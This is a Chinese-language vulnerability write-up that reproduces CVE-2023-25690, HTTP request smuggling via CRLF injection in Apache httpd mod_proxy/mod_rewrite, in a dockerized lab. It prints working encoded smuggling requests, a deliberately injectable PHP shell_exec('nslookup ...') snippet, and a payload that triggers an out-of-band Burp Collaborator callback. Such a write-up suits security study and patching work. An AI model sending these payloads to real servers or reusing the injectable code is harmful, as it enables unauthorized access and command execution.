Apache-Http-Server ND007 CVE-2023-25690

112 阅读2分钟

Apache HTTP Server 版本2.4.0至2.4.55上的某些mod_proxy 配置允许HTTP 请求走私攻击。当 mod_proxy 与某种形式的 RewriteRule 或 ProxyPassMatch 一起启用时,配置会受到影响,其中非特定模式与用户提供的请求目标 (URL) 数据的某些部分匹配,然后使用变量替换将其重新插入到代理请求目标中。

漏洞分析

​ 包含RewriteEngine on在 apache 配置中可启用 URL 重写引擎。URL 重写是一种技术,允许 Web 服务器在提供内容之前将客户端浏览器请求的 URL 动态更改为其他 URL。 例如,假设我们有一个在线电子商店的以下 URL 结构:

https://example-shop.com/categories/1

假设 Apache 配置文件中有以下 RewriteRule 指令:

ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common


LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    ServerName localhost
    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on
    RewriteRule "^/categories/(.*)" "http://backend-server:8080/categories.php?id=$1" [P]
    ProxyPassReverse "/categories/" "http://backend-server:8080/"

</VirtualHost>

​ 当用户请求 URL example-shop.com/categories/… 将匹配该 URL 并使用正则表达式捕获值^/categories/(.*)。然后,该规则通过categories.php?id=$1将捕获的值作为查询参数 id 附加到重写的 URL 来重写 URL。

 https://example-shop.com/categories/1 => http://example-shop.com:8080/categories?id=1

​ 由于[P]规则中存在该标志,Apache 会将重写的 URL 视为代理请求,并将其转发到目标服务器,example-shop.com:8080/categories并… id 设置为1。然后,目标服务器将处理该请求并将响应发送回 Apache,Apache 会将其转发给客户端。

​ 总之,带有标志的 RewriteRule 指令[P]用于重写 URL 并将其代理到不同的服务器。在这种情况下,规则匹配以/categories/开头的 URL ,并将捕获的值作为查询参数 id 附加到重写的 URL。然后,Apache 将请求转发到目标服务器,目标服务器处理请求并返回响应。

​ 最后,关于ProxyPassReverse /categories/ http://example-shop.com:8080/这一行,只是用代理服务器的域和路径替换后端服务器的域和路径,以便客户端能够正确地跟踪链接并访问来自代理后端服务器的内容,就好像它是直接从代理服务器提供服务一样。

数据流

image.png

实验室设置

为了模拟 Apache 中的漏洞,我们将使用httpd 版本 2.4.55。此外,整个实验室将进行 docker 化,以简化设置、配置和重现性。

实验室文件结构如下:

lab/
├── backend
│   ├── Dockerfile
│   └── src
│       ├── categories.php
│       └── index.php
├── docker-compose.yml
└── frontend
    ├── Dockerfile
    └── httpd.conf

最终的httpd.conf配置结构如下:

ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules 
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
    RewriteEngine on
    RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
    ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>

使用docker-compose.exe up –build命令启动实验室。

mod_rewrite文档:https ://httpd.apache.org/docs/2.4/mod/mod_rewrite.html mod_proxy文档:https ://httpd.apache.org/docs/2.4/mod/mod_proxy.html

漏洞复现

1、HTTP 请求拆分导致后端服务出现 HTTP 请求走私

在本节中,我将解释 CRLF 注入如何导致内部 HTTP 请求走私,从而使攻击者能够未经授权访问原本无法访问的内部资源。

识别 CRLF 注入

根据咨询描述,httpd <=2.4.55 容易受到 HTTP 响应拆分(也称为 CRLF 注入)的攻击。CRLF 注入发生在以下情况:

  • 数据通过不受信任的来源进入 Web 应用程序,最常见的是 HTTP 请求
  • 该数据包含在发送给 Web 用户的 HTTP 响应标头中,但未验证是否存在恶意字符。

在我们的例子中,可以通过 URL 中的以下 CRLF 前缀来确认:

HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr

通过将上述前缀附加到 URL,最终得到的请求将如下所示:

GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

收到请求后,服务器将处理数据并返回 200 响应代码,表示存在 CRLF 注入漏洞。

HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1

有关 HTTTP 请求拆分的更多信息,请参见此处:owasp.org/www-communi…

通过标头注入进行内部 HTTP 请求走私

使用标头注入,我们将执行内部 HTTP 请求走私。 让我们从以下前缀开始:

 HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED

以及以下请求

GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

应用重写规则后,请求将转换为以下格式:

GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend

其中编码的 URL 被解码为有效的 HTTP 语法,导致后端将解码后的数据视为第二个请求。 假设我们的内部应用程序具有以下密码:

image.png

#Internal secret functionality
if(isset($_GET['secret'])){
    $secret = $_GET['secret'];
    shell_exec('nslookup ' . $secret);
}

使用以下前缀,我们可以向隐藏功能发送第二个请求:

%0d%0a%0d%0a CRLF 隔断符,用于隔断两个请求

GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
第一个请求:
GET /categories/1 HTTP/1.1
Host: localhost
第二个请求:
GET /categories.php?secret=q0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

并在 burp collaborator 上检索请求:

image.png